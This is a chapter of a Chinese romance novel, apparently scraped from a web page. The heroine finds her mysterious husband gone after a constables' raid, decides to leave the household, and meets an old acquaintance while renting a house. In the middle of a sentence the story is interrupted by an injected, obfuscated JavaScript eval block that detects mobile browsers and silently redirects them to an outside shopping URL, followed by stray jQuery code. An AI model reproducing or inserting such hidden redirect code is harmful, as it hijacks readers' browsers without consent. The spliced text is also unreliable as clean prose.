翌日寅时,天色未明,整个田庄还笼罩在晚秋的霜露之下。忽然,一阵急促的叩门声打破了这片寂静。几名手持长刀的差役站在庄门面前,带着一股不容分说的气势,显然是来抓人的。
张嬷嬷提着纸灯笼摸黑起来,见到如此场面,着实吓了一跳。
几个差役进了门,既不通报,也不差人迎接,径自散开,挨家挨户地踹开门搜查。翻箱倒柜的声响混杂着妇孺的惊呼,整座庄子顿时乱作一团。
沈关音自然被惊醒了。外头声音不小,隔着几道墙也能听得清清楚楚。她点上油灯,昏黄的灯光顿时照亮半间屋子。她眯着眼睛,待视觉适应了光亮,才转头看向身侧。
床位是空的,被褥凌乱地堆着,余温已经散尽,显然祝劭元已经离开好一会儿了。她举起灯盏照了照四周,心头莫名沉了一下。
他的东西几乎都不见了。虽说祝劭元的随身之物本就不多,总不过几件衣裳、鞋,如今连这些都不在,床头也空空荡荡,显然不是仓促离开的。
房门被扣响时,沈关音已穿戴整齐,坐在桌边。她起身开门,门外站着一个三十来岁的差役,神色平淡,后面跟着张嬷嬷,恭恭敬敬地候在一旁。
“大人,这就是那人的住处。”
差役没有为难沈关音,公事公办地问道:“他什么时候来这里的?”
张嬷嬷赶紧回答:“回大人的话,这姑娘是外乡人,对府上的事了解甚少。那人是一个多月前来的。”
差役点点头,掏出纸笔记下。
“他平时都做些什么?”
“身上有没有伤?”
“他有没有带过什么能证明身份的东西,印信或者牙牌?”
“最近有没有说过要出门?去哪里?”
一个个问题跟连珠炮似的冲沈关音砸过来。她不得不承认,自己对祝劭元的事情了解甚少,大名表字都不能完全照答。据她所称,昨夜戌时,祝劭元穿了衣服,说要在庄子里逛逛,没多久便回房和她共寝,一切如常,再醒来就是这般情景。
问完话,差役将笔往耳朵上一搭,顺手将纸折成几叠,塞进腰间的褡裢里。末了拍了拍褡裢,抬眼说道:“他要是回来了,跟我们说一声。”
外面有人大喊:“头儿!人抓住了!”
几个人扭着一个蓬头垢面的男人走了过去。张嬷嬷顿时张大了嘴,像是认出了什么。沈关音也是微微一愣,心里越发浮起不详的预感。
差役解释道:“此人乃是胡勇,化名柳树,窝藏于此。今夜多有打扰,告辞。”
沈关音和张嬷嬷点头称是。走到门口时,他停了一下,补充道:“若是他回来了,对他客气些,别触怒他。”
沈关音愣了一下。
他没有解释为什么,也没有等她回应,直接走了。
沈关音站在空寥寥的房间里看了片刻,忽然发现她送给祝劭元的安神荷包安安静静地躺在桌子上。
怎的偏偏落下这个?她的心头浮起一点失落,鬼使神差地走过去,拿起那只荷包,揉了又揉,捏了又捏。荷包被她搓得皱巴巴的,指尖却忽然感受到一种一样的触感,里面好像塞了什么东西。
她连忙抽开系带,将荷包口撑开,竟然摸到了一张叠放整齐的字条。她呼吸一滞,缓缓将它抽了出来。
“有事暂回,迟则三日,不必挂念。书信请务必送到,不可假手于人。”她捏着字条,轻轻念道。
沈关音沉默良久,才将字条收好,小心翼翼地收进荷包里。准备回去睡觉的时候,余光恰好扫到桌上的那只信封。她的动作顿了一下,目光在信封上停留片刻,最终还是把它拿了起来,塞进包袱里。
***
她每日早晚都要去庄门前等一会。
然而,足足七日,沈关音还未等到祝劭元回来的消息。她去扣了甘管事的房门,小厮却说管事多日未归。田庄里的老仆大多不认识新来的祝劭元,也问不出一二来。
晚上,她躺在被窝里,独自看了眼雾蒙蒙的窗外,眼神越发笃定。
她得找机会打听打听他的虚实。
翌日一早,沈关音驾车去了孙府,打算跟府中旧人打听一番。
府内安安静静,和往日一样稀松平常。沈关音问了当值的下人,她才知道几日前,甘管事也被传到官府问话了。原本还算平静的神色瞬间紧张了几分。她不知祝劭元的身份好坏,但差役的话字字都在提醒她,这个人的身份绝对不一般。
她和当值的人打了声招呼,走到茶房等着。做茶点的嬷嬷看沈关音孤零零地坐着,便送了盘果脯和热茶过去。
嬷嬷把杯碟放到桌上,有些同情地说道:“姑娘,别再等了,大概是等不到的。”
沈关音抬起头来,“管事不在?”
嬷嬷说道:“姑娘,你大概在田庄待着不知道,这几日府里闹炸锅了。我悄悄听人说,管事带回来的外甥是个有头有脸的贵人,老爷夫人听了,魂儿差点吓飞。不过官府说他们此举有功,事发细节暂时不予追究,只要求不要乱传此事。”
沈关音问道:“贵人?他去哪了,可有说?”
“姑娘,昨日差役也来府里了,没找到人。”
沈关音的指关节攥得发白。他去了哪里,当真不要她了?
嬷嬷看她一脸天真,心里更加同情。可怜见儿的,平白无故被嫁人不说,夫君竟是个贵人。若那郎君是个有家室的,姑娘又成了什么?既不是正头娘子,连外室都算不上。想到这里,她安慰道:“姑娘莫担心,能遇上贵人,也许是你的福气。说不准还能把你带回宅子,生个一儿半女,做正头娘子,也不是没可能。”
沈关音听了,一时不知该如何接话。她想着祝劭元留下来的字条,越发觉得里面带着几分诀别的意味。他把衣服都带走了,只留下荷包,分明是不想管她了。
孙府她待不得了。本来就是个不上不下的穷亲戚,主动求娶她的夫君还跑了,连个仔细的交代都没有,以后她还怎么见人?
何况,一个贵人带着伤跑到百姓家避难,亦不报官归家,那便不是寻常的事了。要么是与人结仇,不敢露面;要么是发生了一些不光彩的事情,不便声张。即便她做了正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839693|211593||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头娘子,往后的日子能安稳么?
想到这里,心里的明朗逐渐压过凉意,便起身谢道:“嬷嬷宽慰的是,不过我自有打算。”
如今她有了生计,还有攒下的银两,出府立足并无不可。她打算赶在众人注意到她的窘况前偷偷离开。
回到田庄,她悄悄摸了些碎银,准备先去城里挑个宜居的民宅。
街巷遍布宅行,但是她选了张嬷嬷推荐的。走了半刻钟,她远远看见一幢挂着粉红色幡子的二层建筑,便知找对了地方。
一进门,一位叫潘四娘的中年妇人接待了她。其人身穿蓝绿袄裙,头戴银丝梁冠,面容略有憔悴,但还是挤出一个标准笑容:“娘子是想买房,还是要典房?”
沈关音背上挎着一只小包袱,双手扒着柜台,哪里像能买房的富婆。她暗中赞叹房牙子的职业素养,一边问道:“我想租个地脚方便,临近府衙,环境安静的。”
背后突然响起一个男声:“环境安静的?我这里正好有。”
她几乎是毫无预兆地转过头,然后愣住了。
尘封的记忆轰然炸开,盖过了她所有的理智。眉眼、轮廓、甚至神情——像他。她以为自己这辈子都不会再见到的人,薛珉。
沈关音张了张嘴,却是如鲠在喉,一个字都吐不出来。
男人微微一怔,几乎脱口而出:“……沈关音?”
短短几息之内,男人已经从头到脚把她扫了个遍。八年的时间,她个子没往上蹿多少,婴儿肥却尽数褪去,出落得更瘦削清丽。素白衫,蓝比甲,桃红裙,都是暗纹的。
这个他记得,沈关音很少穿得大红大紫、满头珠翠,但喜欢素净的衣服和簪花。
“你怎么……在这里?”她从喉咙里挤出几个字,声音有些发飘。
薛珉看向她的发髻,眸色一滞。乌黑发亮的长发已经挽成已婚妇人的堕马髻,簪着几只玫瑰和郁金花。
他的喉结动了动,“我来出租房屋的。”
潘四娘当即便认出来了:“娘子,这位公子恰巧有屋舍出租,而且位置也不错,方便看看?”
她掏出图册,将其平铺到桌子上,指给沈关音:“这间就是公子想出租的。一间双层临街小楼,临近衙门、集市,还可眺望街景,出行便宜。”
沈关音问道:“还有别的吗?”
潘四娘不气馁,继续推销:“这有两间平房,毗邻诸多商铺;另一间藏在歪歪扭扭的巷子里,附近都是民居,相对安静,步行一刻可到衙门。”
“价格呢?”
“公子的这间月租十两,另外两家为八两、十四两。若是选择典房,一次性住十年、十五年,价格更便宜。您看看?”
“我可以折价出租。”薛珉突然插嘴,“我的那间是新房,上下层都有寝室,可以分屋出租。四娘,抽成费不变,让娘子选一间住便是。”
潘四娘的目光扫过两人。这位公子的房子在三个候选里价位适中,若是能讨个长租期,还是有希望回本的。
沈关音看了眼捏在手里的钱袋,咬牙说道:“好,我租。”